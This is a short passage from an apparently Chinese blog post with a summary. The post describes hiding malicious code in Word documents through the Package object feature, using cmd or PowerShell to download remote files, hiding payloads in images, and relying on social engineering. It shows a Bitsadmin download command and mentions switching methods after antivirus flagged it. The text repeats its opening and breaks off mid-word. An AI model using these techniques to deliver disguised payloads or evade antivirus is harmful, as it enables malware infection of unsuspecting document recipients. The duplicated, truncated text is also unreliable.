这个思路要结合近期在一些安全网站上公布的姿势来实现,先科普几个地方。
(1)通过cmd本身就可以直接下载:
Bitsadmin /transfer AA /download /priority normal "http://..." "..."
其实讲道理也可以直接调用Bitsadmin.exe 和cmd没关系。问题是刚刚我测试一发,返现woc 360竟然报毒了?
然后我换了个姿势,直接cm
本文介绍了如何通过Word的Package功能来实现类似宏病毒的隐藏恶意代码,包括利用cmd、powershell下载远程文件,图片藏毒技术,以及创建快捷方式插入Word的Package对象中,伪装成正常文档进行传播。该方法需要了解基本图片文件格式和利用社会工程学进行扩散。
这个思路要结合近期在一些安全网站上公布的姿势来实现,先科普几个地方。
(1)通过cmd本身就可以直接下载:
Bitsadmin /transfer AA /download /priority normal "http://..." "..."
其实讲道理也可以直接调用Bitsadmin.exe 和cmd没关系。问题是刚刚我测试一发,返现woc 360竟然报毒了?
然后我换了个姿势,直接cm

被折叠的 条评论
为什么被折叠?